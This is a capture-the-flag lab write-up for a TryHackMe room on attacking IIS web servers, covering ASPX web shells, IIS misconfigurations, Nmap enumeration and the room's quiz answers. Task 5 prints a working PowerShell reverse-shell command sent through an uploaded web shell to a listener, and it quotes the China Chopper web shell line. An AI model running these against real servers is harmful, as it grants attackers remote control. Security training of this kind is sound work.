Web Server Attacks — II | TryHackMe — Part 2

Let’s continue with TryHackMe’s Web Server Attacks — II room. Here is the link to Web Server Attacks — II | TryHackMe — Part 1

Task 5 — ASPX Web Shells

This task taught me what ASPX web shells are, how they work in a real-world scenario, and how to escalate to an interactive reverse shell.

Obtaining a full reverse shell

1. Start a Netcat listener on your machine

Port 443 is favored over 4444 because outbound HTTPS traffic is rarely blocked by enterprise firewalls

2. Send PowerShell reverse shell command

curl -G “http://10.114.146.219/webdav/cmd.aspx" \
> --data-urlencode ‘cmd=powershell -NoP -NonI -W Hidden -Exec Bypass -c “$client = New-Object System.Net.Sockets.TCPClient(‘“‘“‘10.114.91.203’”’”’,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘“‘“‘PS ‘“‘“‘ + (pwd).Path + ‘“‘“‘> ‘“‘“‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”’

3. Go back to the Netcat listener and confirm the shell session

The SeImpersonatePrivilege entry is the most important for tools to escalate privileges.

China Chopper is a Web Shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. It has been used by several threat groups. The entire server-side component is a single line:

<​%@ Page Language="Jscript"%​><​%eval(Request.Item["chopper"],"unsafe");%​>

From a defender’s perspective, two key points about China Chopper are its 73-byte server-side component and the eval( pattern within the file content. Antivirus and EDR signatures are often detected based on that string.

Q: After triggering the ASPX shell, what user account is returned by the whoami command? (Answer Format: lowercase, e.g., nt authority\system)
Answer: iis apppool\defaultapppool

Q: What Windows privilege, visible in whoami /priv output from the reverse shell, enables Potato-style privilege escalation from an IIS shell?
Answer: SeImpersonatePrivilege

Task 6 — IIS Misconfigurations

This module taught me common IIS misconfigurations and that they are the most common IIS attack surface in real-world engagements.

Directory Listing Enabled
If IIS lacks a default document for a directory (.html, .aspx) and the Directory Browsing feature is enabled in IIS Manager, it will display a file listing instead of returning a 403 Forbidden error.

HTTP PUT and DELETE Without Authentication
If the Allow: header includes PUT or DELETE methods without any authentication, unauthenticated file uploads can occur, as shown in previous tasks.

Get Phrabia’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

web.config Exposure

web.config file serves as the central configuration hub for ASP.NET applications, often storing highly sensitive information such as database connection strings, encryption keys, and API credentials. By default, IIS protects .config files from being accessed directly by using request filtering or handler mappings that return a 404 error. However, if these default protections are disabled or if a MIME type is improperly mapped, this critical file becomes completely exposed and can be downloaded by an attacker.

curl http://10.113.159.88/web.config

Verbose Error Messages
To prevent sensitive information leakage, the customErrors directive in web.config must be set to On in production. If left Off, any application crash will expose highly detailed stack traces to all users, both local and remote.

trace.axd Left Enabled
ASP.NET features a built-in diagnostic tool accessible via trace.axd, which logs detailed information about recent web requests. While incredibly useful for debugging, leaving it enabled in a production environment is a severe security risk that leads to information disclosure. To secure the application, this handler must be explicitly disabled by setting <trace enabled="false"/> within the web.config file.

TRACE Method Enabled
The HTTP TRACE method simply echoes the request back to the client, creating a direct security risk by enabling Cross-Site Tracing (XST) attacks.

Application Pool Running as a Privileged Account
Administrators sometimes assign high-privilege accounts like SYSTEM or Domain Admin to the Application Pool.

Q: Navigate to the /uploads/ directory on the target. What sensitive file extension is visible in the directory listing? (Answer Format: include the dot, e.g., .bak)

Answer: .bak

What ASP.NET diagnostic handler URL path should be disabled in production as it can expose session data, cookies, and request history?
Answer: trace.axd

Task 7 — Automation

NSE (Nmap Scripting Engine) Scripts for IIS
1. Start with a version scan

nmap -sV -p 80 10.113.159.88
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-13 13:06 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.113.159.88
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds

2. Run http-methods script

nmap --script http-methods -p 80 10.113.159.88
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-13 13:33 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.113.159.88
Host is up (0.00031s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT
|_  Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

3. Detecting WebDAV

nmap --script http-webdav-scan -p 80 10.113.159.88
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-13 13:35 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.113.159.88
Host is up (0.00032s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-webdav-scan: 
|   Server Date: Sat, 13 Jun 2026 12:35:01 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
|   Server Type: Microsoft-IIS/10.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
|_  WebDAV type: Unknown

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds

4. Identifying Authentication Requirements

nmap --script http-ntlm-info --script-args http-ntlm-info.root=/webdav/ -p 80 10.113.159.88
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-13 13:35 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.113.159.88
Host is up (0.00036s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-ntlm-info: 
|   Target_Name: CHANGE-MY-HOSTN
|   NetBIOS_Domain_Name: CHANGE-MY-HOSTN
|   NetBIOS_Computer_Name: CHANGE-MY-HOSTN
|   DNS_Domain_Name: CHANGE-MY-HOSTNAME
|   DNS_Computer_Name: CHANGE-MY-HOSTNAME
|_  Product_Version: 10.0.17763

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

Conclusion

In this room, we executed the complete IIS exploitation lifecycle, advancing from preliminary reconnaissance to securing interactive shell access. Furthermore, we analyzed a comprehensive range of common misconfigurations frequently encountered during live engagements.